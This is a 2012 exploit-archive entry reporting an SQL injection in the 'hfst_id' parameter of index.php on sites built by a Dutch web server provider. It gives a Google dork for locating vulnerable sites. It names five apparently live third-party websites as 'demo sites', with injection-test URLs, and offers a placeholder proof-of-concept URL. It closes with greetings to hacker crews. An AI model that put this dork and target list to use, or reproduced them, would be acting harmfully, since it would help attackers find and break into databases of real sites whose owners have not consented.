Nederlanden's Server Website (.nl) - SQL injection



EKU-ID: 1995 CVE: OSVDB-ID:
Author: mR.Thg Published: 2012-04-23 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


|------------------------------------------  Vulnerability info  ------------------------------------------
| *Exploit Title: [Nederlanden's Server Website (.nl) - SQL injection ]      
| *Author: mR.Thg   
| *Email: mr.thg[at]techie.com   
| *Category: Webapps   
| *Google dork: inurl:/index.php?hfst_id=   
| *Tested on: Windows/Linux                                                                              
| *Demo site:   
| http://www.ascomsep.com/index.php?hfst_id=4'   
| http://www.twistontwerp.nl/index.php?hfst_id=2'   
| http://www.bdbsearch.nl/index.php?hfst_id=20'   
| http://www.wereldbanen.org/index.php?hfst_id=2'     
| http://www.zomozorg.nl/index.php?hfst_id=2'     
|------------------------------------------ Vulnerability Details -----------------------------------------
|   
| *Exploit/p0c:   
|   
| http://www/.[site].nl/index.php?hfst_id=[SQL]   
|   
|   
|----------------------------------------------------------------------------------------------------------
|   
| *Greetz to : [WeedH0aX ~ RetnOhacK ~ B!jemBeX ~ Dark_Ghost ~ AHG-Crew ~ and all Albanian hackers..! ;)] 
|   
|----------------------------------------------------------------------------------------------------------